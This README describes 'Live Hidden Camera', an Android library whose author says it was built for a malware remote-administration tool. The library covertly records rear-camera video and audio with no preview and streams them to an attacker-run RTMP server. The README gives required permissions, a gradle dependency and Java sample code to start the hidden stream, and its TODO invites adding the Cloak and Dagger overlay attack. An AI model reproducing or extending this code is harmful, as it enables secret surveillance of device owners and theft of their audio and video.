Live Hidden Camera

Live Hidden Camera (LHC) is a library which record live video and audio from Android device without displaying a preview.

Motivation

I'm working on a research based Android Malware and decided to create a multi function RAT (Remote Administration Tool). I was working on Live Streams which I've found some RTMP based open sources projects including:

https://github.com/begeekmyfriend/yasea
https://github.com/ant-media/LiveVideoBroadcaster
https://github.com/TakuSemba/RtmpPublisher
https://github.com/fyhertz/libstreaming which, all have some kind of problems based on the requirements of a RAT. But the common one was that they all need an activity to include a SurfaceView.

Therefore, I've started searching. Finally, I could create Live Hidden Camera which only needs a CONTEXT for stream live video, by combining these two projects:

How to use

I've created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.

Additionally you should care about:

Your application should have the following permissions in Manifest.xml:

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

You should handle that the declared permissions are granted to your application

Adding library

The usage of the library is straight. Just add the following library to the gradle.build file of your project.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.0'

Creating RTMP server

Before using the library, you should have deployed an Rtmp server. I've ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.

After starting the Ant Media Rtmp server, you should see something like this:

Sample Code

After adding the library to your project, do the following steps:

Create a class which implements: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Create two fields (one for publish and one for preview):

private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implement a function for starting the Live Hidden Camera:

    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problems

Green Screen

The main problem I currently facing, is the green screen. I've described the error in StackOverflow in https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

If you have any suggestion about this problem, or any other idea, do not hesitate contacting me.

Constant View

Because of the overlay of the Live Hidden Camera, no other apps can be clicked. The clicks are only accepted by the LHC. Check TODO section.

TODO

There is a project called Cloak and Dagger which unraveled a very dangerous ability in Android. Any contribution in using the Cloack and Dagger in LHC is welcomed.

Check the Cloak and Dagger here:

Contact

You can reach me from my website: https://mstajbakhsh.ir/

BenBrucker/LiveHiddenCamera